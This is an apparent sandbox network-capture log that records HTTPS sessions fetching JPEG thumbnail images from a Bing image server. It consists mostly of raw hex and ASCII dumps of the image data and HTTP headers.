2024-12-17 09:08:31 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 33 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 30 36 3a 32 34 20 30 30 3a 35 33 3a 31 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 23.3 (Windows)2022:06:24 00:53:138C
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 68 e4 17 39 ad e7 a8 e5 13 03 3c 8c 80 73 ed f8 0f c6 9b 25 de 79 2d 9e 46 39 c7 b7 e0 7a fe 95 91 f6 83 b4 0d 8a 7a 83 f5 1e de a3 14 c7 92 6e dd 01 3c 8e 78 3e bf 4e bf e1 4b 94 3d a1 a9 25 d8 5d db 93 0d 91 d0 fa f4 c7 7c 7d 6a a5 c5 de d6 d9 93 c0 2a b8 18 18 3c e0 fa 93 f9 8a ce 66 75 6c 8e 06 dc 6d ea 14 fe 3c f2 30 78 f7 a8 e4 f3 0e 49 2d b7 b8 24 f3 ce 78 3e 83 f3 e9 4b 96 c2 73 2c cd 72 0f 5d a3 71 25 80 ef 81 d3 9a a3 34 c7 7e 5b 23 9e 72 70 41 3d 79 34 ac ad b7 2c 99 18 e7 3d 0f b7 1c e7 bd 43 24 44 aa 8c 61 87 5c 1c 63 3e 9f 5e 07 4a 2c 26 c6 4d 29 e0 8e 57 82 40 1d f3 fc ea 09 08 2a bb f9 c7 71 e9 fe 07 db fa d5 a6 8b 0b c2 63 27 90 0f 38 c7 1f 5f 5f ff 00 5d 22 c4 78 21 38 c8 1d 7b 77 eb d0 d0 43 2b a8 39 04 f4 5c 80 31 c6 e0 3a 60 e3 ff 00 Data Ascii: h9<s%y-F9zzn<x>NK=%]\|}j<fulm<0xI-$x>Ks,r]q%4~[#rpA=y4,=C$Da\c>^J,&M)W@qc'8__]"x!8{wC+9\1:`
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 9f 5c e7 f9 51 ca 8a 2a 04 3b 7b 96 0d 81 c7 50 0f 23 9f 73 f8 d2 88 86 d0 06 41 ce ee 3b 11 dc fd 7f 4a 9f 60 55 dc a0 10 40 39 18 c1 ff 00 eb 77 a7 2a 63 80 84 2e 0f b6 30 33 d3 b7 f8 51 ca 80 af 0a 7c 9b f2 41 18 e4 0e 98 39 ef fc e9 42 15 dc 72 4e 5b e8 4b 75 e7 1d 3a 55 85 0d c1 19 c0 e7 24 9f 97 ea 79 e6 86 1f 3e 40 e7 23 91 d7 93 eb ef fe 7d 28 e5 42 2b 48 0a 30 20 95 3d 38 eb f8 fd 6a 00 b8 62 0a 74 3c 7c bc 75 c7 f3 f5 ab ce 14 fc a0 90 c4 fa 71 91 df fc f3 d7 a5 40 ca cd 27 19 3d 4e 00 f4 ea 71 fe 7b 52 b5 b6 11 55 9b 09 83 d3 a7 ae 7d b3 8e dd 39 a8 9c ee 63 b8 06 19 18 dc 4f 5f 5c 76 ab 0e b8 c0 24 e1 88 66 07 8c ff 00 4c d4 4c b8 c0 28 32 39 ce 38 cf ea 7e bd 8e 3e b5 23 b1 10 57 0d 96 c9 fe f3 1f 5f c7 bd 49 02 30 5d c7 ef 2b 63 af 4f 73 4d Data Ascii: \Q;{P#sA;J`U@9wc.03Q\|A9BrN[Ku:U$y>@#}(B+H0 =8jbt<\|uq@'=Nq{RU}9cO_\v$fLL(298~>#W_I0]+cOsM
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: fe 18 cf f5 a7 fd a0 15 27 b9 ed d3 a1 ff 00 f5 d0 32 f7 98 7a 82 03 0c 03 fd d1 f9 75 3f d2 94 4a 0f cc 00 c3 71 c7 23 af 63 ed c7 f9 cd 66 9b 82 df 20 23 9e c4 90 33 fc b0 7f 9d 27 da 1b 76 06 79 1c f3 cf b1 c7 5e 3f 3a 61 74 6b 79 c1 72 e0 7c a0 f2 72 49 3f e7 e9 cf eb 53 24 c0 e4 e0 71 d7 1c 77 c7 1d 7a 7a 9a c6 8a e0 aa ee 53 b4 8c f2 b8 e3 f1 a9 62 98 8c 64 01 82 3a 74 f4 ed dc 7e 3d e9 81 af f6 86 fb ff 00 28 07 e9 f9 e0 fb 7e 02 87 94 6e 2a 00 04 7d d0 78 e3 1c 71 eb ef 59 91 ce 76 e4 e0 37 20 37 23 3c 77 f7 34 f5 9f e5 20 8c b6 39 07 83 c7 38 fe bc d0 4f bc 58 69 b6 72 71 ee 3d ba 7b f5 a8 a5 94 8c 71 9f 5c e3 9f 6f a7 ff 00 5e 98 cf f2 11 9e bc 75 f6 eb cf b7 1f e7 34 8c a0 fc c1 81 ec 3f 0e b9 f6 c5 03 b2 2c 0d db 4a 86 24 92 76 af af a8 19 eb Data Ascii: '2zu?Jq#cf #3'vy^?:atkyr\|rI?S$qwzzSbd:t~=(~n*}xqYv7 7#<w4 98OXirq={q\o^u4?,J$v
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 7b 8f cb b8 c7 bf 15 62 2c 86 e3 2d b8 77 19 07 d7 ff 00 d7 de 80 bb 70 1c 6e 1c 86 e3 f5 1e df 8d 4b 8d bc e4 8f 97 07 d7 1f 43 db a7 d2 80 17 00 2e 31 8e 84 f6 39 c7 7c 74 c7 f2 a7 03 d1 48 3f dd 0b ea 41 eb d7 be 29 24 2e 39 03 24 74 00 64 80 7b e7 83 81 cd 32 40 c1 5b 9e 08 00 a8 e4 9f 7c fe b8 14 00 33 fc bf de db 9c 9e 3a fb 7f 2f 4a 8a 57 c6 0f 2a 48 c1 3c 1e fc 0f cf f9 7b 53 dc 9e 5f 3c 0c 7f 0e 70 3f cf a8 a8 64 1f 36 3e ee 33 c7 3c 1e bf 96 7b 7d 68 01 1d f2 dc c9 f7 b2 72 a4 f4 1d fd 4e 7f 5a 6e 58 26 41 c8 e7 eb cf 38 1f 89 cf bd 3d 55 77 82 07 2c 3b 73 8f 7c f7 ff 00 3e b4 a9 cf 0a 70 70 54 e4 9e fd fd be bf 5a 00 62 c6 b8 00 65 98 e4 60 02 3d c8 1f 87 f5 a4 54 05 39 00 f2 36 9c 74 03 e9 f9 62 9e ab f2 90 7b f2 40 3d fa f3 9f c0 d3 8a a8 56 Data Ascii: {b,-wpnKC.19\|tH?A)$.9$td{2@[\|3:/JW*H<{S_<p?d6>3<{}hrNZnX&A8=Uw,;s\|>ppTZbe`=T96tb{@=V
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: b3 f4 fc b1 55 da 65 0b b4 9f 98 0d dd 3a 9f 51 db af b7 e7 4c 96 55 dc 08 c0 62 37 60 b1 1c fa fe b4 80 9a 79 4b 3e 37 74 e7 1d 49 3e 83 da aa ce 4e dc 93 e8 07 18 dd ff 00 d6 1d 71 51 cd 38 f9 72 7e 6f 4e 87 90 73 f4 03 f0 35 5a 79 07 97 9d eb 92 30 73 93 f9 fa fd 29 00 b7 0e a3 05 48 e7 18 cf f2 1e d9 aa 92 4e 06 55 4e 07 d4 e7 ad 24 8e c1 3e 73 84 6f 6c 9e 9c e3 f0 f4 ff 00 1a 80 bb 1e 49 c3 10 08 0a 4e 46 38 e7 db df eb 4c ce 4f 51 ee e4 b6 49 e4 9c 10 bc 7a 70 2a 16 e5 8b 71 c6 36 af d7 81 d7 d7 ad 0c 71 92 73 81 ce 54 9e e7 d3 9f f1 a0 96 0c 09 39 c0 e8 01 c9 e7 83 eb ef 40 5c 59 00 e8 3e 5c f0 3d 73 8e 69 92 63 a9 ca 8c 64 2f 5e fd bf cf 02 97 0a 30 1b 3b 81 c0 04 73 81 9e 7d 4e 0f eb 4b 96 2c 49 1f 27 f1 03 fd ef 52 7b f3 fa fd 28 24 88 85 dc 37 Data Ascii: Ue:QLUb7`yK>7tI>NqQ8r~oNs5Zy0s)HNUN$>solINF8LOQIzp*q6qsT9@\Y>\=sicd/^0;s}NK,I'R{($7
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: a5 2e 02 fc a4 f0 06 39 ed 9e 9c fa 53 be 80 46 ca 39 21 07 5c b0 c7 af 4c 67 9c fb 53 0a e3 27 27 b8 cf 7e 9e be b9 ab 25 7e 52 07 24 64 ef eb 8e e7 1f 8d 21 00 b1 75 21 bb f5 cf 1d b1 d7 9c ff 00 91 d6 9d d0 15 b0 15 4f 24 92 7b 9f cb d7 ff 00 ad 52 28 5d a0 8c 00 48 c8 3d 49 ec 32 7d ea 45 8b 18 5e 32 1b 05 87 04 e3 b7 3d 0e 3b d2 aa 6c 5c 10 7e 50 4f ca 33 c0 e3 8e dd b3 50 dd c0 8b 60 38 c9 dc 7d 71 d7 bf e9 cf 23 d6 98 c8 38 04 60 e3 23 a6 73 f8 7b fe 5c 54 e5 1b a0 ee 4e 39 cf 4e a0 7d 4f e9 9a 57 40 ac c9 f2 8c 64 ed ec 7f 0f d7 d7 de 90 15 d1 7e 50 46 71 83 f5 e9 9f cc 73 c7 5c 52 f9 72 3a b1 f9 4e 71 c8 ee 47 3d f9 ed 56 fc a0 58 93 f7 47 af af 7f ae 7f 3a 15 31 92 32 72 46 73 9c e0 0f d7 fc 68 02 08 d0 86 c8 e3 3c 12 7a ed 3d bd bd 7f 2a 9e 38 Data Ascii: .9SF9!\LgS''~%~R$d!u!O${R(]H=I2}E^2=;l\~PO3P`8}q#8`#s{\TN9N}OW@d~PFqs\Rr:NqG=VXG:12rFsh<z=*8
2024-12-17 09:08:31 UTC	16069	IN	Data Raw: 46 57 21 f2 49 ea 3d ce 4d 0a a3 81 83 92 73 c7 73 9e b8 3d e8 02 26 1f 30 61 80 7a 05 1d 49 f4 07 d7 f4 c7 e1 40 03 79 3b fd 3a 8f d0 7a 7f 9f a5 4c c8 dc 2e 71 93 80 79 f5 ff 00 eb 67 20 52 11 c9 c1 2b 8e 8b b7 38 3e e3 af 06 80 11 06 58 05 39 20 f0 70 4f 39 eb cd 2a 81 bb 8d cc 31 ec 38 ef f5 1e fd 68 08 e1 8f 4e 3b 63 f3 fa 66 9d c1 e5 c2 90 3a 01 d0 f3 db f0 fd 68 01 f1 a8 18 20 e4 12 33 8e 39 ed fa 71 ef 4e 2a 03 1e 9b ba e4 7a 9e 38 c7 61 9a 6e 77 29 e8 5b 07 24 fd 71 eb c8 1e f4 46 48 f9 03 81 b4 60 77 1e c7 3f e7 bd 00 4a ac 42 64 be e6 03 b8 fc 38 c7 3d 3f 2a 7c 60 2a 8e 4e 78 c8 1d 70 4f 6e bd 00 eb 4c 04 47 8f 9b 04 10 dc 1c ed f4 cf f8 e6 95 5b 86 e7 dc 0f fe b7 f9 fc 68 02 40 7b 06 dc c7 92 54 f0 46 73 e9 d4 ff 00 5e d4 2e 36 b1 09 f9 ff 00 Data Ascii: FW!I=Mss=&0azI@y;:zL.qyg R+8>X9 pO918hN;cf:h 39qNz8anw)[$qFH`w?JBd8=?\|`NxpOnLG[h@{TFs^.6
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: d5 03 2b 6d 0a bc 0c e0 85 c2 e7 3b bd 71 f4 a7 20 f9 88 3d 46 71 82 09 dd fe 18 fa 54 de 51 19 50 d9 3c 03 db a9 eb ed 93 4e 92 2c ee dd df 38 18 e0 7b 7a 7e 07 a5 48 ca e0 28 60 a5 01 5e 08 ce 79 e3 f4 fa f7 a9 94 97 7e 0f 3c 12 30 3a 7a ff 00 9e bf 8d 00 61 c3 67 6b 03 80 47 51 8f e7 f5 e6 9c 8b f3 6d 1d 7b 60 0f c7 f9 f7 a0 07 c7 c2 90 31 c1 cf 3d 79 ce 39 f7 fa 66 a5 40 ea c7 0f 9f 9b 03 8c e4 81 d3 ff 00 af f4 f6 35 08 0c 3b 0f 4e 4f 00 76 3f 4a b0 a0 15 ec 51 bd 4f 18 ff 00 0a 00 5c 28 c9 2f bb 00 e0 e3 a8 eb fa fa fb 53 f6 83 b8 33 8c b7 20 e7 38 e9 d3 a6 07 bf ad 30 92 13 07 71 6e bc 83 cf 3d fd 78 3f fe aa 76 d0 59 87 19 c7 38 ff 00 f5 e4 8e fe 94 00 05 1f 71 b8 eb 93 d3 bf 6f 7c f6 fa d3 8a e5 72 79 24 0c 91 9c 63 b1 c0 f6 ed 40 dc 18 31 fb ac Data Ascii: +m;q =FqTQP<N,8{z~H(`^y~<0:zagkGQm{`1=y9f@5;NOv?JQO\(/S3 80qn=x?vY8qo\|ry$c@1
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: f2 9f ba 57 07 ef f7 19 ce 7e b9 fd 68 65 dc c0 8f e1 3c 93 c6 01 e0 83 45 c1 2b 11 30 01 70 72 59 bb 7a f4 39 f4 1f 81 f6 a4 60 11 89 19 0b c6 33 d7 03 a0 18 ee 7d 3b 54 c4 2a ae 46 00 c8 c1 38 cf 5e e7 bf 3d bb 53 59 42 f0 31 93 9e dc 8c 9c 72 0f ff 00 a8 7e 74 0c 81 d7 6b 12 9c 73 8f ee f1 d7 19 34 c7 00 28 0a 4a e0 9c 71 81 d3 ab 64 f7 f4 e9 f5 a9 a4 57 2b c6 71 cf 04 8c 60 74 1f 41 f9 9c 1a 8e 4c 0c 0c 31 e8 08 18 c9 eb d7 ea 7d 7a 71 54 26 44 c1 4b 71 d0 fa 02 48 ed 8c 8e df e7 9a 82 61 85 2e 1c 8c 7a 0f 41 8d c4 1f 6e 3f 5a 91 df 67 24 95 50 09 27 3d 09 e9 ef 8c 7f 3a af 31 c3 17 03 e6 0a 1b 1d 00 38 e9 9f 7c 70 7f c2 81 0c 72 42 ed 07 af 3b 41 3c b1 f4 c7 6f 71 ce 29 ab 36 30 77 1e c5 3d fd b1 db bf 4e be d4 c9 9b 39 0c e0 93 9c af 1d ff 00 96 7f Data Ascii: W~he<E+0prYz9`3};T*F8^=SYB1r~tks4(JqdW+q`tAL1}zqT&DKqHa.zAn?Zg$P'=:18\|prB;A<oq)60w=N9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49730	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:30 UTC	346	OUT	GET /th?id=OADD2.10239381881832_16Z99FCNYK3WFB5MY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 09:08:31 UTC	861	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 638072 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 69B6D97852E94E9D8EB9A19024121576 Ref B: EWR30EDGE0821 Ref C: 2024-12-17T09:08:31Z Date: Tue, 17 Dec 2024 09:08:30 GMT Connection: close
2024-12-17 09:08:31 UTC	3517	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 34 3a 34 30 3a 34 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 14:40:438C
2024-12-17 09:08:31 UTC	8192	IN	Data Raw: 5b 05 cc 7a 94 71 d1 3d 82 c2 f9 2e 34 dd 8f 2f cf 5c 5f 8f 1b fd 26 3d 92 d6 1f 84 bc 54 f7 12 7d 91 fc c4 6f e0 a8 fc 4f 34 cd 73 bd e5 f9 3f 8e b9 a9 e1 3d 9d 43 a6 a6 2e 32 a6 5e d2 af 9e 1b ad f5 d0 5c ea 09 71 1c 7f bd af 2b bc d7 be c3 e6 7d 9e 5d ef fc 09 46 8f e2 e9 ae 2f bf e7 9b c9 5d b2 c0 ca 5e f1 c5 1c ca 31 f7 4f 50 b6 8e 19 a5 db fc 55 73 cc fb 1d d6 cf 36 bc f6 f3 c4 c9 a7 df 41 13 ff 00 cb 6f e3 ad 2d 4b c4 08 be 5b f9 bf 3d 73 cb 07 23 a2 38 ea 67 69 aa b2 34 71 b4 5f 7f ef d7 98 fc 50 f1 35 e6 9b a9 7d 9e de 2f dc cc 95 b1 37 8d 2d ad fc c8 ae 25 8e 3f 92 bc bf c5 ba b4 9a c5 f3 bf f0 57 5e 0b 09 2e 6f 78 e2 c7 e3 63 cb ee cb 52 c7 89 24 87 50 8e 39 9e 5f df 6c ae 4e f6 37 f3 1f 75 68 5c dc 6d 8d 22 5a a3 34 9f c6 d5 ee c6 3c a7 89 19 Data Ascii: [zq=.4/\_&=T}oO4s?=C.2^\q+}]F/]^1OPUs6Ao-K[=s#8gi4q_P5}/7-%?W^.oxcR$P9_lN7uh\m"Z4<
2024-12-17 09:08:31 UTC	4144	IN	Data Raw: 4d 79 75 59 af 7c eb e6 55 5b cb af de 7c f5 8f a9 6a 5b 7e 44 ae 98 d3 30 94 8d 47 bc a2 b0 f4 99 9e 69 24 df 45 69 ca 61 cc 79 1d 35 9a ae 6b d6 ff 00 65 b9 ff 00 5b bf 7d 51 dd 5f a0 c7 de 89 f9 e7 28 6e a3 75 36 9b 54 50 ec 9a 5d f4 ca 6d 58 f9 49 37 53 77 53 6a 3c d3 2b 94 b2 ac 8f f2 d4 f3 69 73 35 bb dc 2f ce 89 f7 eb 3d 1b 6d 5e d2 b5 27 b7 b9 df 40 72 ca 3b 19 ef 1b af de a6 d7 4d 71 f6 3b 9d ee 91 47 b5 ff 00 82 b9 d9 a3 d9 26 da 0b 8c f9 88 e8 a2 8a 0a 0a 28 a2 a8 02 9d 4d a7 50 03 a8 a6 d3 a3 a0 92 44 4d d4 63 15 25 bc 66 4f 92 ac 59 a5 a7 99 fe 97 f7 3f e9 9d 51 1c c5 78 ea f5 ac 69 e5 fc f4 ed 77 4b 7d 36 48 e4 49 7c eb 79 93 7a 48 95 1d 9b 79 91 ec a0 ca 63 ae 6d f7 7d da a6 eb b6 ad 3b bc 7f 2b 54 73 7c df 3d 04 c6 44 34 ea 29 d5 45 05 14 Data Ascii: MyuY\|U[\|j[~D0Gi$Eiay5ke[}Q_(nu6TP]mXI7SwSj<+is5/=m^'@r;Mq;G&(MPDMc%fOY?QxiwK}6HI\|yzHycm};+Ts\|=D4)E
2024-12-17 09:08:31 UTC	8192	IN	Data Raw: cf b9 6a 71 24 9b cc a8 66 92 a3 dd 55 e6 91 ea f9 49 0b 99 92 a2 49 12 a2 99 a8 b6 5a d0 92 e5 ad 5e 48 ea ad b2 d6 84 75 32 28 af 34 34 d4 b7 ab 1b a9 d5 1c c5 15 66 b7 a8 7e cb ba af 4c d5 1f fc b3 dd 4f 98 0c bb c8 51 6b 93 f1 66 a9 67 0d b4 f6 fe 6c 7e 76 ca eb b5 26 fd dc 95 e4 fe 2a d3 fe d9 ab c9 2a 79 9b 3e e6 f8 eb b6 84 79 8c 2a 19 fe 01 ba db ad c9 e7 7f 1f dc a2 9d a3 d9 bc 3a dc 68 91 7c e9 45 74 cb 96 e6 11 d8 e4 5f 56 4b 88 f7 ff 00 05 3a de e1 24 92 bc e6 db 5e fd e4 9e 6d 5e b3 f1 04 de 6c 7e 57 f7 fe e5 7d a4 b0 92 89 f1 d1 cc 23 f6 8e fa f2 67 6f 91 3c ba ab 0d 9d 9c d1 fe fb f7 6f 59 f0 ea 08 d7 31 ff 00 b7 56 af 15 ee 23 d9 0c bb 1e b9 b9 65 13 af 9a 35 08 6e 7c 37 0c 9f 3b 7c f5 37 87 b4 2b cd 37 cc fb 24 bf b9 fb fe 5d 57 b7 ba d6 Data Ascii: jq$fUIIZ^Hu2(44f~LOQkfgl~v&*y>y:h\|Et_VK:$^m^l~W}#go<oY1V#e5n\|7;\|7+7$]W
2024-12-17 09:08:31 UTC	8192	IN	Data Raw: d9 ff 00 66 fc bf 7d 3f d5 d7 37 aa c7 7f 6f 73 1b c5 16 ff 00 f6 2b d5 b5 2d 2e b2 64 d3 61 6f bf 45 3c 5f 71 d4 c3 7f 29 a5 f0 c5 bc cb 1d e9 f2 57 71 67 5c 7f 82 63 4b 39 3c a5 fb 95 db 5b 32 35 78 b8 b9 7b c7 a9 86 f8 49 a1 ab 08 d5 1a 2d 49 b6 b8 4e 91 af f3 54 d6 f6 bb 7e 7a 6c 2b 56 b7 54 c8 a1 df 76 aa dc b5 58 76 aa 77 95 11 09 14 6f ab 16 e6 47 59 2b 6a f1 b7 47 58 7a b2 fe ee bb 29 98 48 87 ed 4e b5 0b de 23 45 59 6f 7c f1 f9 88 d5 97 a9 5f 4c bf 32 57 7d 2a 67 24 aa 12 78 9e 44 b8 b6 92 bc e7 5e d1 61 d5 24 8e 59 62 93 7a 7c 95 d3 4d ab 3f 99 27 ef 6a bc d7 96 cb 6f 24 be 6c 68 d5 ee 60 f9 a9 7c 27 91 8c 8d 3a da 48 f3 3d 63 c1 fa 95 ac 92 4b 0c 7b e1 fe 0a cd b3 d4 ae 74 bd f0 c3 f2 3f f1 d7 a6 7f 6a 43 75 5c ef 89 34 9b 6b cf 31 fc ad 9b ff Data Ascii: f}?7os+-.daoE<_q)Wqg\cK9<[25x{I-INT~zl+VTvXvwoGY+jGXz)HN#EYo\|_L2W}*g$xD^a$Ybz\|M?'jo$lh`\|':H=cK{t?jCu\4k1
2024-12-17 09:08:31 UTC	8192	IN	Data Raw: 6a 1d 93 47 bd 29 c9 6f 5e 31 ec 14 7c cd bf 7e a4 4d f2 55 ab 9b 34 92 a4 b6 b7 fe 0a 9e 61 f2 98 7a 95 9e e9 77 ff 00 1d 68 69 50 bf 97 1b 3f df ab cf 63 ba 4a d0 b3 b3 db 1d 12 a8 54 69 15 5d 6a 17 8e b5 9e 1a ae f6 fb ab 2e 62 b9 4a 36 d2 79 72 6c 7a b8 97 09 47 f6 7b b5 43 35 9b c7 4f dd 90 8b 1e 72 7a d5 84 6d d5 96 91 cc b2 d5 cb 66 db 4a 40 43 aa b6 d8 f7 7f 72 bc 77 e2 a7 8d 21 b5 8e 7b 7f b3 7f a4 27 fa b4 af 66 bf 5d d1 d7 9e f8 e7 c0 fa 6e b5 7d 1d c4 b1 47 ba bd 0c b6 ad 38 d4 f7 ce 0c c2 9d 69 53 b5 2d cf 27 d3 fc 45 0d e5 8c 89 71 26 c6 ae 3f 55 93 cc b9 77 af 4c f1 e7 c3 f4 b5 d3 64 9a ca 28 d2 64 af 2c 93 ef 7c d5 f7 58 29 51 a9 1b c0 f8 1c c2 38 88 49 46 a9 a7 a3 6a 1e 4f 98 95 a5 e1 bb c4 93 5b 4f b4 7c 95 ce c3 53 24 9b 65 df 5d 75 68 Data Ascii: jG)o^1\|~MU4azwhiP?cJTi]j.bJ6yrlzG{C5OrzmfJ@Crw!{'f]n}G8iS-'Eq&?UwLd(d,\|X)Q8IFjO[O\|S$e]uh
2024-12-17 09:08:31 UTC	8192	IN	Data Raw: bc 69 0a dc f9 5e 6d 79 6f 9c fe b4 e8 db 75 6f 2c ae 9c 88 8e 6d 88 a6 7b e6 95 e2 88 64 ff 00 96 bb eb 69 2f 12 48 f7 a4 b5 f3 ae 99 a9 5e 5a 49 fb 99 2b ba f0 af 89 a6 b8 8f c9 7f bf 5e 36 2f 27 f6 7e f4 4f 67 09 9d 46 a4 b9 67 b9 e9 53 4c 8d 51 b5 c3 af dc ae 7d 35 2d d5 62 1d 42 bc ef ab 48 f6 3e b3 19 1b d6 77 df df a7 3d d6 ea e5 de fb f7 9f 25 5a b0 bc dd 51 2c 31 51 c4 9b df 6a fe e5 3a 19 26 92 b2 de fa 1b 78 f7 bd 37 4d d7 ad a6 92 44 8a b3 f6 12 fe 53 5f 6f 1d b9 8d ad ce b5 1b 5c 3a d5 3b 6b cf 32 4d 95 63 cb dd 59 72 f2 95 cc 58 b7 d4 2a c7 f6 a2 47 54 7e c7 ba a3 7b 1d b5 97 2c 4b 3a 08 75 08 64 8f e4 ab 10 de 57 33 1c 2f 1f dc 14 eb 09 2e 56 e7 e7 fb 95 9c a9 c4 ae 63 b0 86 f2 af 43 79 5c ed 9b 3b 47 57 a1 67 ae 69 44 da 32 37 12 eb 7d 37 Data Ascii: i^myouo,m{di/H^ZI+^6/'~OgFgSLQ}5-bBH>w=%ZQ,1Qj:&x7MDS_o\:;k2McYrX*GT~{,K:udW3/.VcCy\;GWgiD27}7
2024-12-17 09:08:31 UTC	8192	IN	Data Raw: ab e7 ba d5 8b 1d 56 ea da 4d f1 49 59 ca 3f ca 22 1b 1d 36 ee ee 47 48 a3 90 ba 55 69 bc d8 e4 f2 9e bb df 04 ea b6 cf 1c 9e 6f 97 1b 54 7a 97 f6 3d c4 92 27 95 1a 3f 99 5c de da 51 96 b1 3a 79 63 cb 7b 9c 64 da 7d cf d9 fe d0 91 ef 4f f6 2a df 84 34 1b 9d 77 52 fb 3a 7d c4 fb f5 e9 9e 15 b8 d0 5a db ec 89 15 bf fb 75 a5 67 6b a5 69 77 52 5c 5a 79 70 f9 9f 7e b8 ab e6 32 8f 34 63 1d 4e fc 36 0d 4b 96 52 92 b1 a9 e0 9f 08 d8 69 31 c7 e5 45 f3 ff 00 7e bb 4f 2d 3e cb e5 57 3f e1 ed 5a da e3 ee 4b 5b 53 32 79 7f 24 95 f2 18 c9 55 a9 53 9a 67 d7 e1 a3 4a 34 fd cd 88 66 d2 61 fb c9 15 61 f8 c3 4d bf 5d 26 74 b2 93 e7 fe 0a d8 4d 59 21 93 63 c9 4e 9b 54 b6 92 2f 9a b2 a7 2a 91 94 65 b9 a5 4e 59 47 96 27 84 db 78 bb 5b d2 f5 2f b3 cb f2 4d 0b fc f5 ea 5e 09 f8 Data Ascii: VMIY?"6GHUioTz='?\Q:yc{d}O4wR:}ZugkiwR\Zyp~24cN6KRi1E~O->W?ZK[S2y$USgJ4faaM]&tMY!cNT/eNYG'x[/M^
2024-12-17 09:08:31 UTC	8192	IN	Data Raw: 2b ca 92 4a f3 77 57 5f bd 4e 8e 17 6a de a6 5f 86 a9 bc 49 a3 98 62 28 ed 23 d3 ac fc 7c 97 57 31 a3 c7 25 74 56 3e 26 4f 32 b8 ff 00 06 69 b0 c7 63 fb d8 a3 f3 a9 ba f4 6f a6 c7 e6 db d7 8b 5f 03 46 52 e5 8c 4f 6a 86 3b 11 4e 9f b4 99 e9 c9 e2 28 7e e4 be 5d 39 f5 eb 3f f9 eb b2 bc 4d ee af ef 2e b7 a5 cc 95 56 f2 4b 99 ae 3c a5 b9 91 3f ed a5 65 1c 96 3d c9 97 10 ff 00 74 f6 4b 9f 17 5b 5a fd fb 98 ea 8d cf 8d 2d ae a3 f9 25 8e 47 af 27 7d 36 e5 a3 93 7c b2 3d 1a 0d 8b c9 ab 46 92 fc 88 9f 3b d6 ff 00 d9 34 63 1b f3 12 b3 da d2 97 2c 63 b9 e9 8f 79 f6 af 9e 8a a3 66 e9 f7 12 8a f3 65 08 c5 d8 f6 23 38 c9 5e 5b 9c 4e da 4c 54 bb 68 db 5f 7c 7e 57 cc 43 b6 8d b5 36 da 6e da 07 cc 47 b6 9b b6 a6 db 46 da 07 cc 43 b6 8d b5 26 da 36 d0 1c c4 7b 69 bb 6a 6d Data Ascii: +JwW_Nj_Ib(#\|W1%tV>&O2ico_FROj;N(~]9?M.VK<?e=tK[Z-%G'}6\|=F;4c,cyfe#8^[NLTh_\|~WC6nGFC&6{ijm
